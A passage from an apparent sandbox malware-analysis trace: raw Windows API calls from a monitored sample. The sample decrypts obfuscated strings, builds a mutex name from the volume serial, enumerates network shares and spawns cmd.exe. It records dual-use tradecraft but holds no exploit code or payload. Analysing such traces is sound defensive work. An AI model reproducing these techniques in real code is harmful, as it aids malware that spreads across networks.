pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0063.427] CryptDestroyKey (hKey=0x58ff80) returned 1 [0063.427] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0063.427] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0063.427] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaab28 [0063.427] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x58fc40) returned 1 [0063.427] CryptSetKeyParam (hKey=0x58fc40, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0063.427] CryptDecrypt (in: hKey=0x58fc40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaab28, pdwDataLen=0x229f6a4 | out: pbData=0xcaab28, pdwDataLen=0x229f6a4) returned 1 [0063.427] CryptDestroyKey (hKey=0x58fc40) returned 1 [0063.427] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaab28 | out: hHeap=0xca0000) returned 1 [0063.427] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.427] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0063.427] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0063.427] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.428] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0063.428] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac550 [0063.428] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58fec0) returned 1 [0063.428] CryptSetKeyParam (hKey=0x58fec0, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0063.428] CryptDecrypt (in: hKey=0x58fec0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac550, pdwDataLen=0x229f700 | out: pbData=0xcac550, pdwDataLen=0x229f700) returned 1 [0063.428] CryptDestroyKey (hKey=0x58fec0) returned 1 [0063.428] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0063.428] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x268 [0063.428] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0063.428] CloseHandle (hObject=0x268) returned 1 [0063.428] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac550 | out: hHeap=0xca0000) returned 1 [0063.428] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0063.428] Sleep (dwMilliseconds=0x3e8) [0064.847] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0064.847] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x58fc40) returned 1 [0064.847] CryptSetKeyParam (hKey=0x58fc40, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0064.847] CryptDecrypt (in: hKey=0x58fc40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0064.847] CryptDestroyKey (hKey=0x58fc40) returned 1 [0064.847] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0064.847] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0064.847] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa830 [0064.847] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x58fbc0) returned 1 [0064.847] CryptSetKeyParam (hKey=0x58fbc0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0064.847] CryptDecrypt (in: hKey=0x58fbc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa830, pdwDataLen=0x229f6a4 | out: pbData=0xcaa830, pdwDataLen=0x229f6a4) returned 1 [0064.847] CryptDestroyKey (hKey=0x58fbc0) returned 1 [0064.847] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa830 | out: hHeap=0xca0000) returned 1 [0064.847] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.847] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0064.847] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0064.847] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.848] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0064.848] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xcac280 [0064.848] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x58ff80) returned 1 [0064.848] CryptSetKeyParam (hKey=0x58ff80, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0064.848] CryptDecrypt (in: hKey=0x58ff80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcac280, pdwDataLen=0x229f700 | out: pbData=0xcac280, pdwDataLen=0x229f700) returned 1 [0064.848] CryptDestroyKey (hKey=0x58ff80) returned 1 [0064.848] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca82f8 [0064.848] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x268 [0064.848] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0064.848] CloseHandle (hObject=0x268) returned 1 [0064.848] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcac280 | out: hHeap=0xca0000) returned 1 [0064.848] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0064.848] Sleep (dwMilliseconds=0x3e8) Thread: id = 8 os_tid = 0xf88 Thread: id = 9 os_tid = 0xf84 [0032.439] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x21a) returned 0xca8ca0 [0032.439] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x28) returned 0xca0578 [0032.440] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x228 [0032.440] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x22c [0032.440] GetComputerNameW (in: lpBuffer=0xca8cb0, nSize=0x249fba0 | out: lpBuffer="NQDPDE", nSize=0x249fba0) returned 1 [0032.440] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca8458 [0032.440] GetLastError () returned 0xcb [0032.440] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x214) returned 0xca8ec8 [0032.440] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0032.440] GetCurrentThreadId () returned 0xf84 [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.441] SetLastError (dwErrCode=0xcb) [0032.441] GetLastError () returned 0xcb [0032.442] SetLastError (dwErrCode=0xcb) [0032.442] GetLastError () returned 0xcb [0032.442] SetLastError (dwErrCode=0xcb) [0032.442] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4000) returned 0x22a0048 [0032.442] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10000) returned 0x22a4050 [0032.442] WNetOpenEnumW (in: dwScope=0x1, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x249fb64 | out: lphEnum=0x249fb64*=0x5891d8) returned 0x0 [0033.792] WNetEnumResourceW (in: hEnum=0x5891d8, lpcCount=0x249fb6c, lpBuffer=0x22a0048, lpBufferSize=0x249fb5c | out: lpcCount=0x249fb6c, lpBuffer=0x22a0048, lpBufferSize=0x249fb5c) returned 0x103 [0033.792] WNetCloseEnum (hEnum=0x5891d8) returned 0x0 [0033.792] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0x22a0048 | out: hHeap=0xca0000) returned 1 [0033.792] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0x22a4050 | out: hHeap=0xca0000) returned 1 [0033.792] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4000) returned 0x22a0048 [0033.792] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10000) returned 0x22a4050 [0033.792] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x249fb4c | out: lphEnum=0x249fb4c*=0x580ac8) returned 0x0 [0033.793] WNetEnumResourceW (in: hEnum=0x580ac8, lpcCount=0x249fb54, lpBuffer=0x22a0048, lpBufferSize=0x249fb44 | out: lpcCount=0x249fb54, lpBuffer=0x22a0048, lpBufferSize=0x249fb44) returned 0x103 [0033.793] WNetCloseEnum (hEnum=0x580ac8) returned 0x0 [0033.793] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0x22a0048 | out: hHeap=0xca0000) returned 1 [0033.793] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0x22a4050 | out: hHeap=0xca0000) returned 1 [0033.793] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4000) returned 0x22a0048 [0033.793] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10000) returned 0x22a4050 [0033.793] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x249fb34 | out: lphEnum=0x249fb34*=0x5891d8) returned 0x0 [0048.437] WNetEnumResourceW (in: hEnum=0x5891d8, lpcCount=0x249fb3c, lpBuffer=0x22a0048, lpBufferSize=0x249fb2c | out: lpcCount=0x249fb3c, lpBuffer=0x22a0048, lpBufferSize=0x249fb2c) returned 0x0 [0048.437] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4000) returned 0x22b4058 [0048.437] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10000) returned 0x22b8060 [0048.438] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x22a0048, lphEnum=0x249faf4 | out: lphEnum=0x249faf4*=0x5893e8) returned 0x0 [0064.855] WNetEnumResourceW (in: hEnum=0x5893e8, lpcCount=0x249fafc, lpBuffer=0x22b4058, lpBufferSize=0x249faec | out: lpcCount=0x249fafc, lpBuffer=0x22b4058, lpBufferSize=0x249faec) returned 0x0 [0064.855] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4000) returned 0x22c8068 [0064.855] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10000) returned 0x22cc070 [0064.856] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x22b4058, lphEnum=0x249fab4) Thread: id = 51 os_tid = 0xcac Thread: id = 52 os_tid = 0x658 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0xd44e000" os_pid = "0xc34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xd58 [0040.310] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff653040000 [0040.310] __set_app_type (_Type=0x1) [0040.310] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff653056d00) returned 0x0 [0040.310] __getmainargs (in: _Argc=0x7ff653079200, _Argv=0x7ff653079208, _Env=0x7ff653079210, _DoWildCard=0, _StartInfo=0x7ff65307921c | out: _Argc=0x7ff653079200, _Argv=0x7ff653079208, _Env=0x7ff653079210) returned 0 [0040.310] _onexit (_Func=0x7ff653057fd0) returned 0x7ff653057fd0 [0040.310] _onexit (_Func=0x7ff653057fe0) returned 0x7ff653057fe0 [0040.311] _onexit (_Func=0x7ff653057ff0) returned 0x7ff653057ff0 [0040.311] _onexit (_Func=0x7ff653058000) returned 0x7ff653058000 [0040.311] _onexit (_Func=0x7ff653058010) returned 0x7ff653058010 [0040.311] _onexit (_Func=0x7ff653058020) returned 0x7ff653058020 [0040.311] GetCurrentThreadId () returned 0xd58 [0040.311] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd58) returned 0x70 [0040.311] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0040.312] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0040.312] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.326] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0040.326] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xe195f2f948 | out: phkResult=0xe195f2f948*=0x0) returned 0x2 [0040.326] VirtualQuery (in: lpAddress=0xe195f2f934, lpBuffer=0xe195f2f8b0, dwLength=0x30 | out: lpBuffer=0xe195f2f8b0*(BaseAddress=0xe195f2f000, AllocationBase=0xe195e30000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.326] VirtualQuery (in: lpAddress=0xe195e30000, lpBuffer=0xe195f2f8b0, dwLength=0x30 | out: lpBuffer=0xe195f2f8b0*(BaseAddress=0xe195e30000, AllocationBase=0xe195e30000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.326] VirtualQuery (in: lpAddress=0xe195e31000, lpBuffer=0xe195f2f8b0, dwLength=0x30 | out: lpBuffer=0xe195f2f8b0*(BaseAddress=0xe195e31000, AllocationBase=0xe195e30000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.326] VirtualQuery (in: lpAddress=0xe195e34000, lpBuffer=0xe195f2f8b0, dwLength=0x30 | out: lpBuffer=0xe195f2f8b0*(BaseAddress=0xe195e34000, AllocationBase=0xe195e30000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.326] VirtualQuery (in: lpAddress=0xe195f30000, lpBuffer=0xe195f2f8b0, dwLength=0x30 | out: lpBuffer=0xe195f2f8b0*(BaseAddress=0xe195f30000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0040.327] GetConsoleOutputCP () returned 0x1b5 [0040.362] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.362] SetConsoleCtrlHandler (HandlerRoutine=0x7ff653068150, Add=1) returned 1 [0040.362] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.363] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff65307fc04 | out: lpMode=0x7ff65307fc04) returned 0 [0040.363] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.363] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff65307fc00 | out: lpMode=0x7ff65307fc00) returned 0 [0040.363] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.363] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0040.363] _get_osfhandle (_FileHandle=1) returned 0x288 [0040.363] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff65307fc08 | out: lpMode=0x7ff65307fc08) returned 0 [0040.363] _get_osfhandle (_FileHandle=0) returned 0x27c [0040.363] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff65307fc0c | out: lpMode=0x7ff65307fc0c) returned 0 [0040.363] GetEnvironmentStringsW () returned 0x2cd147d5a10* [0040.363] GetProcessHeap () returned 0x2cd147d0000 [0040.363] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xa7c) returned 0x2cd147d64a0 [0040.363] FreeEnvironmentStringsA (penv="A") returned 1 [0040.363] GetProcessHeap () returned 0x2cd147d0000 [0040.363] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x8) returned 0x2cd147d6f30 [0040.363] GetEnvironmentStringsW () returned 0x2cd147d5a10* [0040.363] GetProcessHeap () returned 0x2cd147d0000 [0040.363] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xa7c) returned 0x2cd147d6f50 [0040.363] FreeEnvironmentStringsA (penv="A") returned 1 [0040.363] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe195f2e7f8 | out: phkResult=0xe195f2e7f8*=0x7c) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x4, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x1, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x1, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x0, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x40, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x40, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x40, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegCloseKey (hKey=0x7c) returned 0x0 [0040.364] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xe195f2e7f8 | out: phkResult=0xe195f2e7f8*=0x7c) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x40, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x1, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x1, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x0, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x9, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x4, lpData=0xe195f2e810*=0x9, lpcbData=0xe195f2e7f4*=0x4) returned 0x0 [0040.364] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xe195f2e7f0, lpData=0xe195f2e810, lpcbData=0xe195f2e7f4*=0x1000 | out: lpType=0xe195f2e7f0*=0x0, lpData=0xe195f2e810*=0x9, lpcbData=0xe195f2e7f4*=0x1000) returned 0x2 [0040.364] RegCloseKey (hKey=0x7c) returned 0x0 [0040.364] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce79c7f [0040.364] srand (_Seed=0x5ce79c7f) [0040.364] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.364] malloc (_Size=0x4000) returned 0x2cd149c54f0 [0040.364] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.365] malloc (_Size=0xffce) returned 0x2cd149d0080 [0040.365] ??_V@YAXPEAX@Z () returned 0x2cd149d0080 [0040.365] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2cd149d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.365] malloc (_Size=0xffce) returned 0x2cd149e0060 [0040.366] ??_V@YAXPEAX@Z () returned 0x2cd149e0060 [0040.366] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2cd149e0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0040.366] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0040.366] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.366] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.366] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0040.366] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0040.366] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0040.366] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0040.366] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0040.366] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0040.366] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0040.366] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0040.366] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0040.366] GetProcessHeap () returned 0x2cd147d0000 [0040.366] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d64a0) returned 1 [0040.366] GetEnvironmentStringsW () returned 0x2cd147d5a10* [0040.367] GetProcessHeap () returned 0x2cd147d0000 [0040.367] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xa94) returned 0x2cd147d7a10 [0040.367] FreeEnvironmentStringsA (penv="A") returned 1 [0040.367] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0040.367] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.367] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0040.367] _wcsicmp (_String1="KEYS", 